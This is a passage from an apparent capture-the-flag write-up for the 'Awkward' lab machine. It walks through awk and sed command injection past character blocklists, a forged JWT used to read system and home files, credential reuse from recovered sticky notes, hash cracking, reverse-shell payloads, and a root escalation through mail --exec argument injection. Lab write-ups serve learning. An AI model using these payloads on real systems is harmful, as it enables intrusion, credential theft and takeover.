                const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
                if(!decodedToken.username) {
                    authFailed = true
                }
                else {
                    user = decodedToken.username
                }
            }
            if(authFailed) {
                return res.status(401).json({Error: "Invalid Token"})
            }
            if(!user) {
                return res.status(500).send("Invalid user")
            }
            const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
      
            const badInUser = bad.some(char => user.includes(char));
            const badInReason = bad.some(char => reason.includes(char));
            const badInStart = bad.some(char => start.includes(char));
            const badInEnd = bad.some(char => end.includes(char));
      
            if(badInUser || badInReason || badInStart || badInEnd) {
                return res.status(500).send("Bad character detected.")
            }
      
            const finalEntry = user + "," + reason + "," + start + "," + end + ",Pending\r"
      
            exec(`echo "${finalEntry}" >> /var/www/private/leave_requests.csv`, (error, stdout, stderr) => {
                if (error) {
                return res.status(500).send("Failed to add leave request")
                }
                return res.status(200).send("Successfully added new leave request")
            })
        })
      
    • All Leave (/api/all-leave) - Retrieve the leave request history for the logged in user.
        app.get('/api/all-leave', (req, res) => {
            const user_token = req.cookies.token
            var authFailed = false
            var user = null
            if(user_token) {
                const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
                if(!decodedToken.username) {
                    authFailed = true
                }
                else {
                    user = decodedToken.username
                }
            }
            if(authFailed) {
                return res.status(401).json({Error: "Invalid Token"})
            }
            if(!user) {
                return res.status(500).send("Invalid user")
            }
            const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
      
            const badInUser = bad.some(char => user.includes(char));
      
            if(badInUser) {
                return res.status(500).send("Bad character detected.")
            }
      
            exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
                if(stdout) {
                    return res.status(200).send(new Buffer(stdout, 'binary'));
                }
                if (error) {
                    return res.status(500).send("Failed to retrieve leave requests")
                }
                if (stderr) {
                    return res.status(500).send("Failed to retrieve leave requests")
                }
            })
        })
      

    /api/submit-leave and /api/all-leave contain a command-injection vulnerability but there are many blocked characters

    what is awk: https://www.geeksforgeeks.org/awk-command-unixlinux-examples/

    the syntax is: awk options 'selection _criteria {action }' input-file > output-file

    look at: https://gtfobins.github.io/gtfobins/awk/awk '//' /etc/passwd

    curly braces are very important to obtain a reverse shell:

    • / { print 1 } BEGIN {system("wget localhost:8000/revshell.sh")} /

      awk '// { print 1 } BEGIN {system("wget localhost:8000/revshell.sh")} //' file.txt
    • / { print 1 } BEGIN {system("bash revshell.sh")} /

      awk '// { print 1 } BEGIN {system("bash revshell.sh")} //' file.txt


    the creator prevented using these characters so I guess it’s not yet time to get a reverse shell, so I just read the files on the file system:
    /' /etc/passwd '

    awk '// ' /etc/passwd '/' /var/www/private/leave_requests.csv

    always using the site https://jwt.io I create a token:

      header = {"alg":"HS256","typ":"JWT"}
      payload = {"username":"/' /etc/passwd '","iat":1671016345} #www.epochconverter.com
      signature key = 123beany123
    

    I get: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzEwMTYzNDV9.LWlcpxTk5MgZVyVDa5Ltadtq5iBpMyX2cMA_CZjr6EE

    I set the token value and do an HTTP GET to http://hat-valley.htb/api/all-leave

      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
      www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
      systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
      messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
      systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
      syslog:x:104:111::/home/syslog:/usr/sbin/nologin
      _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
      tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
      uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
      systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
      tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
      avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
      usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
      dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
      kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
      avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
      cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
      rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
      whoopsie:x:117:124::/nonexistent:/bin/false
      sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
      speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
      nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
      saned:x:121:128::/var/lib/saned:/usr/sbin/nologin
      colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
      geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
      pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
      gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
      hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false
      gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
      bean:x:1001:1001:,,,:/home/bean:/bin/bash
      christine:x:1002:1002:,,,:/home/christine:/bin/bash
      postfix:x:128:136::/var/spool/postfix:/usr/sbin/nologin
      mysql:x:129:138:MySQL Server,,,:/nonexistent:/bin/false
      sshd:x:130:65534::/run/sshd:/usr/sbin/nologin
      _laurel:x:999:999::/var/log/laurel:/bin/false
    

    I try to read notable files:

    • /' /var/www/hat-valley.htb/config.js 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /var/www/hat-valley.htb/config.json 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /var/www/hat-valley.htb/config/default.json 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /var/www/private/config.js 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /var/www/private/config.json 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /var/www/private/config/default.json 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/christine/.ssh/id_rsa 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/christine/.bash_history 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/christine/.gitconfig 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/christine/.bashrc 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/bean/.ssh/id_rsa 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/bean/.bash_history 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/bean/.gitconfig 'Failed to retrieve leave requests → doesn’t exist or I can’t read
    • /' /home/bean/.bashrc ' → I can read it


    this part was quite tedious because I tried dozens of files in the web server without results because I didn’t imagine that I could also enter user’s home relative paths like bean

    the last path was successful and in fact I can read the file:

      # ~/.bashrc: executed by bash(1) for non-login shells.
      # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
      # for examples
    
      # ... #
    
      # custom
      alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
    
      # ... #
    

    I read the file with the same method: /home/bean/Documents/backup_home.sh

      #!/bin/bash
      mkdir /home/bean/Documents/backup_tmp
      cd /home/bean
      tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
      date > /home/bean/Documents/backup_tmp/time.txt
      cd /home/bean/Documents/backup_tmp
      tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
      rm -r /home/bean/Documents/backup_tmp
    

    I download the file: /' /home/bean/Documents/backup/bean_backup_final.tar.gz '

    the file seems corrupted: tar xzf bean_backup_final.tar.gz

      gzip: stdin: unexpected end of file
    

    I use then: gzrecover bean_backup_final.tar.gz

    I get: bean_backup_final.tar.recovered

    I extract the content in: bean_backup_final

      -rw-r--r-- 1 user user 32344 Sep 15 13:46 bean_backup.tar.gz
      -rw-r--r-- 1 user user    30 Sep 15 13:46 time.txt
    

    I extract the content of: bean_backup.tar.gz

    there are so many files, I had to spend some time and analyze them all:

    • .ssh → empty
    • Desktop → empty
    • Documentsbackup backup_home.sh backup_tmp
    • Downloads → empty
    • Music → empty
    • Pictures → empty
    • Public → empty
    • snapsnapd-desktop-integrationhttps://snapcraft.io/install/snapd-desktop-integration/ubuntu → nothing interesting
    • Templates → empty
    • Videos → empty
    • .localapplications evolution flatpak gnome-settings-daemon gnome-shell gvfs-metadata ibus-table icc keyrings nano nautilus recently-used.xbel session_migration-ubuntu sounds → nothing interesting
    • .config
      • autostartxpad.desktop
      • dconf evolution gnome-initial-setup-done goa-1.0 gtk-3.0 ibus nautilus pulse update-notifier user-dirs.dirs user-dirs.locale → nothing interesting
      • xpadcontent-DS1ZS1 default-style info-GQ1ZS1 → they are sticky notes of bean


    file: content-DS1ZS1

      TO DO:
      - Get real hat prices / stock from Christine
      - Implement more secure hashing mechanism for HR system
      - Setup better confirmation message when adding item to cart
      - Add support for item quantity > 1
      - Implement checkout system
    
      boldHR SYSTEM/bold
      bean.hill
      014mrbeanrules!#P
    
      https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
    
      boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold 
    

    I have the System Administrator login: bean.hill : 014mrbeanrules!#P

    as written in the note (MAKE SURE TO USE THIS EVERYWHERE) I could try if I can also login with SSH:
    sshpass -p '014mrbeanrules!#P' ssh bean@10.10.11.185

    bingo!



Privesc bean

  • here’s why the previous reading of the files in the bean home worked:
    • ls -al /home/
        drwxr-xr-x 17 bean      bean      4096 Oct  6 01:35 bean
        drwxr-x---  2 christine christine 4096 Sep 15 21:39 christine
      
    • ls -al /home/bean/
        lrwxrwxrwx  1 bean bean    9 Sep 15 21:40 .bash_history -> /dev/null
        -rw-r--r--  1 bean bean  220 Sep 15 21:34 .bash_logout
        -rw-r--r--  1 bean bean 3847 Sep 15 21:45 .bashrc
        drwx------  9 bean bean 4096 Sep 22 14:30 .cache
        drwx------ 13 bean bean 4096 Oct  6 01:35 .config
        drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Desktop
        drwxr-xr-x  3 bean bean 4096 Sep 15 21:46 Documents
        drwxr-xr-x  2 bean bean 4096 Sep 15 23:03 Downloads
        drwx------  3 bean bean 4096 Dec 15 00:24 .gnupg
        drwx------  3 bean bean 4096 Sep 15 21:35 .local
        drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Music
        drwxrwxr-x  4 bean bean 4096 Oct  6 01:35 .npm
        drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Pictures
        -rw-r--r--  1 bean bean  807 Sep 15 21:34 .profile
        drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Public
        drwx------  4 bean bean 4096 Sep 15 21:55 snap
        drwx------  2 bean bean 4096 Sep 15 21:36 .ssh
        drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Templates
        -rw-r-----  1 root bean   33 Dec 14 22:10 user.txt
        drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Videos
      

    there were no clues unfortunately, in fact it was quite a tedious part guessing the readable files

  • ls -al /var/www/
      drwxr-xr-x  6 root      root     4096 Oct  6 01:35 hat-valley.htb
      drwxr-xr-x  2 root      root     4096 Oct  6 01:35 html
      drw-rwx---  5 root      www-data 4096 Dec 14 22:10 .pm2
      dr-xr-x---  2 christine www-data 4096 Oct  6 01:35 private
      drwxr-xr-x  9 root      root     4096 Oct  6 01:35 store
    

    I can see the files inside the store (others):

      drwxr-xr-x 9 root root  4096 Oct  6 01:35 .
      drwxr-xr-x 7 root root  4096 Oct  6 01:35 ..
      drwxrwxrwx 2 root root  4096 Dec 15 02:04 cart
      -rwxr-xr-x 1 root root  3664 Sep 15 20:09 cart_actions.php
      -rwxr-xr-x 1 root root 12140 Sep 15 20:09 cart.php
      -rwxr-xr-x 1 root root  9143 Sep 15 20:09 checkout.php
      drwxr-xr-x 2 root root  4096 Oct  6 01:35 css
      drwxr-xr-x 2 root root  4096 Oct  6 01:35 fonts
      drwxr-xr-x 6 root root  4096 Oct  6 01:35 img
      -rwxr-xr-x 1 root root 14770 Sep 15 20:09 index.php
      drwxr-xr-x 3 root root  4096 Oct  6 01:35 js
      drwxrwxrwx 2 root root  4096 Dec 15 02:00 product-details
      -rwxr-xr-x 1 root root   918 Sep 15 20:09 README.md
      -rwxr-xr-x 1 root root 13731 Sep 15 20:09 shop.php
      drwxr-xr-x 6 root root  4096 Oct  6 01:35 static
      -rwxr-xr-x 1 root root   695 Sep 15 20:09 style.css
    
  • ls -al /var/mail/
      -rw-------  1 christine mail 40283 Dec 15 00:20 christine
      -rw-------  1 root      mail 85534 Dec 15 00:24 root
    
  • sudo -l (with password 014mrbeanrules!#P)
      Sorry, user bean may not run sudo on awkward.
    
  • I look at the server side configuration:
    • /etc/nginx/sites-enabled/hat-valley.htb.conf
        server {
            listen 80;
            server_name hat-valley.htb;
            root /var/www/hat-valley.htb;
            location / {
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_pass http://127.0.0.1:8080;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection "upgrade";
            }
        }
      

      for this reason accessing http://127.0.0.1:8080 with the SSRF does not work

    • /etc/nginx/sites-enabled/store.conf
        server {
            listen       80;
            server_name  store.hat-valley.htb;
            root /var/www/store;
            location / {
                index index.php index.html index.htm;
            }
            location ~ /cart/.*\.php$ {
                return 403;
            }
            location ~ /product-details/.*\.php$ {
                return 403;
            }
            location ~ \.php$ {
                auth_basic "Restricted";
                auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
                fastcgi_pass   unix:/var/run/php/php8.1-fpm.sock;
                fastcgi_index  index.php;
                fastcgi_param  SCRIPT_FILENAME  $realpath_root$fastcgi_script_name;
                include        fastcgi_params;
            }
        }
      

      inside /etc/nginx/conf.d/.htpasswd I find

        admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
      

      https://runebook.dev/it/docs/nginx/http/ngx_http_auth_basic_module

      https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-nginx-on-ubuntu-14-04

      openssl passwd -apr1 >> /etc/nginx/.htpasswd

        -apr1 - Use the apr1 algorithm (Apache variant of the BSD algorithm).
      

      hashcat --help | grep apr

        1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
      

      example from https://hashcat.net/wiki/doku.php?id=example_hashes:

        $apr1$71850310$gh9m4xcAn3MGxogwX/ztb.
      

      so I omit the username and write on the file hash2.txt only $apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

      I start the attack: hashcat -m 1600 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt -O

      
      

      the password cannot be cracked so (MAKE SURE TO USE THIS EVERYWHERE) I reuse the bean credentials and login to http://store.hat-valley.htb/ with the admin : 014mrbeanrules!#P credentials

      bingo!

  • I visit the http://store.hat-valley.htb website as a logged in user

    client side for the shop.php page I see:

      <script>
      function generateUniqSerial() {  
          return 'xxxx-xxxx-xxx-xxxx'.replace(/[x]/g, (c) => {  
              const r = Math.floor(Math.random() * 16);  
              return r.toString(16);  
          });
      }
    
      function checkUser() {
          if(!localStorage.getItem("user")) {
              localStorage.setItem("user", generateUniqSerial())
          }
      }
    
      function addToCart(item, user) {
          $.ajax({
             type: "post",
             url: 'cart_actions.php',
             data:{item: item.getAttribute("data-id"), user: user, action: 'add_item'},
             success:function(data) {
               alert(data)
             }
          });
      }
      </script>
      ...
      <body onload="checkUser();">
      ...
      <div data-id="1" onclick="addToCart(this, localStorage.getItem('user'))" class="add-to-cart-btn" style = "margin-top: 15px !important; cursor: pointer;">ADD TO CART</div>
    

    client side for the cart.php page I see:

      <script>
      function setupCart() {
          checkUser();
          fetchCart();
      }
    
      function generateUniqSerial() {  
          return 'xxxx-xxxx-xxx-xxxx'.replace(/[x]/g, (c) => {  
              const r = Math.floor(Math.random() * 16);  
              return r.toString(16);  
          });  
      }
    
      function checkUser() {
          if(!localStorage.getItem("user")) {
              localStorage.setItem("user", generateUniqSerial())
          }
      }
    
      function fetchCart() {
          $.ajax({
             type: "get",
             url: 'cart_actions.php',
             data:{user: localStorage.getItem("user"), action: 'fetch_items'},
             success:function(data) {
                 if(data.length === 0) {
                     document.getElementById("store-cart").innerHTML += "<td colspan=4 class='no-items'>Well, this is awkward... you have no items in your cart. Get shopping!</td>"
                 }
                 else {
                     document.getElementById("store-cart").innerHTML += data
                 }
             }
          });
      }
    
      function removeFromCart(item, user) {
          $.ajax({
             type: "post",
             url: 'cart_actions.php',
             data:{item: item.getAttribute("data-id"), user: user, action: 'delete_item'},
             success:function(data) {
               alert(data)
               location.reload()
             }
          });
      }
      </script>
      ...
      <body onload="setupCart()">
      ...
    

    server side (I can read the sources → others permissions) I see cart_actions.php:

      <?php
      $STORE_HOME = "/var/www/store/";
    
      //check for valid hat valley store item
      function checkValidItem($filename) {
          if(file_exists($filename)) {
              $first_line = file($filename)[0];
              if(strpos($first_line, "***Hat Valley") !== FALSE) {
                  return true;
              }
          }
          return false;
      }
    
      //add to cart
      if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
          $item_id = $_POST['item'];
          $user_id = $_POST['user'];
          $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
    
          foreach($bad_chars as $bad) {
              if(strpos($item_id, $bad) !== FALSE) {
                  echo "Bad character detected!";
                  exit;
              }
          }
    
          foreach($bad_chars as $bad) {
              if(strpos($user_id, $bad) !== FALSE) {
                  echo "Bad character detected!";
                  exit;
              }
          }
    
          if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
              if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
                  system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
              }
              system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
              echo "Item added successfully!";
          }
          else {
              echo "Invalid item";
          }
          exit;
      }
    
      //delete from cart
      if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
          $item_id = $_POST['item'];
          $user_id = $_POST['user'];
          $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
    
          foreach($bad_chars as $bad) {
              if(strpos($item_id, $bad) !== FALSE) {
                  echo "Bad character detected!";
                  exit;
              }
          }
    
          foreach($bad_chars as $bad) {
              if(strpos($user_id, $bad) !== FALSE) {
                  echo "Bad character detected!";
                  exit;
              }
          }
          if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
              system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
              echo "Item removed from cart";
          }
          else {
              echo "Invalid item";
          }
          exit;
      }
    
      //fetch from cart
      if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
          $html = "";
          $dir = scandir("{$STORE_HOME}cart");
          $files = array_slice($dir, 2);
    
          foreach($files as $file) {
              $user_id = substr($file, -18);
              if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
                  $product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
                  $details = array();
                  while (($line = fgets($product_file)) !== false) {
                      if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
                          array_push($details, str_replace(array("\r", "\n"), '', $line));
                      }
                  }
                  foreach($details as $cart_item) {
                      $cart_items = explode("&", $cart_item);
                      for($x = 0; $x < count($cart_items); $x++) {
                          $cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
                      }
                      $html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
                  }
              }
          }
          echo $html;
          exit;
      }
    
      ?>
    

    NOTE: for simplicity I set in the browser’s LocalStorage: user : 1

    NOTE: it’s important to add at least one item to the cart to create the path /var/www/store/cart/1

    three system("..."); are used, it is very likely that there is a command injection vulnerability:

    •   system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
      
    •   system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
      
    •   system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
      


    I notice that the checkValidItem() function is called on "{$STORE_HOME}product-details/{$item_id}.txt" to add an item while it is called on "{$STORE_HOME}cart/{$user_id}" to delete an item

    I’m not convinced by the curly braces in the path, I do a local test: php -a

      php > $STORE_HOME = "/var/www/store/";
      php > $item_id = 1;
      php > $user_id = 2;
      php > echo "{$STORE_HOME}cart/{$user_id}";
      /var/www/store/cart/2
    

    everything OK, I don’t have to worry about the curly braces

    look at: https://gtfobins.github.io/gtfobins/sed/sed -n '1e id' /etc/hosts

      if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
          system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
          echo "Item removed from cart";
      }
    

    the checks are on the $user_id, so I focus on the $item_id

    executed command: sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}

    sed man page references:

    • -i[SUFFIX], --in-place[=SUFFIX]
          edit files in place (makes backup if extension supplied). The default operation mode is to break symbolic and hard links. This can be changed with --follow-symlinks and --copy.
      
    • -e script, --expression=script
          add the script to the commands to be executed 
      
    • https://www.gnu.org/software/sed/manual/html_node/Multiple-commands-syntax.html

    • -e '1e command'
      

      the 1 identifies the line and the e identifies the command to be executed
      example: echo 'date id' | tr ' ' '\n' | sed '1e' → execute date command
      example: echo 'date id' | tr ' ' '\n' | sed '2e' → execute id command
      example: echo './test.sh' | sed '1e' → executes the script in the current directory

    exploit:

    • PREFIX: sed -i '/item_id=
    • EXPLOIT: ' -e '1e /tmp/shell.sh' '
    • SUFFIX: /d' /var/www/store/cart/1


    final command: sed -i '/item_id=' -e '1e /tmp/shell.sh' '/d' /var/www/store/cart/1

    NOTE: inside /tmp/shell.sh I put the classic BASH reverse shell

    I can run the exploit:

      POST /cart_actions.php HTTP/1.1
      Host: store.hat-valley.htb
      Content-Length: 64
      Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A=
      Accept: */*
      DNT: 1
      X-Requested-With: XMLHttpRequest
      User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      Origin: http://store.hat-valley.htb
      Referer: http://store.hat-valley.htb/cart.php
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,en;q=0.9
      sec-gpc: 1
      Connection: close
    
      item='%20-e%20'1e%20/tmp/shell.sh'%20'&user=1&action=delete_item
    



Privesc www-data

  • id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
  • ps faxu | grep root
      root        1013  0.0  0.0   2988  1148 ?        S    04:55   0:00  \_ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv
      root        1014  0.0  0.0  18624  1776 ?        S    04:55   0:00  \_ /bin/bash /root/scripts/notify.sh
    

    inotifywait command is monitoring changes to file /var/www/private/leave_requests.csv

  • I run ./pspy64 to see what happens after a modification of the file /var/www/private/leave_requests.csv

    in another terminal: echo 'test123456' >> leave_requests.csv

      2022/12/15 08:46:42 CMD: UID=0    PID=6040   | tail -1 /var/www/private/leave_requests.csv 
      2022/12/15 08:46:42 CMD: UID=0    PID=6043   | awk -F, {print $1} 
      2022/12/15 08:46:42 CMD: UID=0    PID=6042   | /bin/bash /root/scripts/notify.sh 
      2022/12/15 08:46:42 CMD: UID=0    PID=6041   | /bin/bash /root/scripts/notify.sh 
      2022/12/15 08:46:42 CMD: UID=0    PID=6044   | /bin/bash /root/scripts/notify.sh 
      2022/12/15 08:46:42 CMD: UID=0    PID=6045   | mail -s Leave Request: test123456 christine 
      2022/12/15 08:46:42 CMD: UID=0    PID=6046   | /usr/sbin/sendmail -oi -f root@awkward -t 
      2022/12/15 08:46:42 CMD: UID=0    PID=6047   | /usr/sbin/postdrop -r 
      2022/12/15 08:46:42 CMD: UID=128  PID=6048   | cleanup -z -t unix -u -c 
      2022/12/15 08:46:42 CMD: UID=0    PID=6049   | trivial-rewrite -n rewrite -t unix -u -c 
      2022/12/15 08:46:42 CMD: UID=0    PID=6050   | local -t unix
    

    an email is sent as root and my string appears as subject:

      mail -s Leave Request: test123456 christine
    

    look at: https://gtfobins.github.io/gtfobins/mail/mail --exec='!/bin/sh'

    inside /tmp/privesc.sh I put any BASH command to get a privileged shell: SUID BIT, revshell, etc…

    echo '\ --exec="!/tmp/privesc\.sh" -u' >> leave_requests.csv

    thanks to the execution of /tmp/privesc.sh I got root privileges

  • the command used in the notify.sh script was:
      inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv | while read; do
              change=$(tail -1 /var/www/private/leave_requests.csv)
              name=`echo $change | awk -F, '{print $1}'`
              echo -e "You have a new leave request to review!\n$change" | mail -s "Leave Request: "$name christine
      done
    

    debugging with set -x:

    • name=$(echo '\ --exec="!/tmp/privesc\.sh" -u' | awk -F, '{print $1}')

        <xec="!/tmp/privesc\.sh" -u' | awk -F, '{print $1}')
        ++ awk -F, '{print $1}'
        ++ echo '\ --exec="!/tmp/privesc\.sh" -u'
        + name='\ --exec="!/tmp/privesc\.sh" -u'
      
    • mail -s "Leave Request: "$name christine

        + mail -s 'Leave Request: \' '--exec="!/tmp/privesc\.sh"' -u christine
      

      I then get server side this command: mail -s 'Leave Request: \' '--exec="!/tmp/privesc\.sh"' -u christine

      I thought the space before the --exec was being ignored so I added a \

      here is the final command that is actually executed: mail -s Leave Request: '--exec="!/tmp/privesc\.sh"' -u christine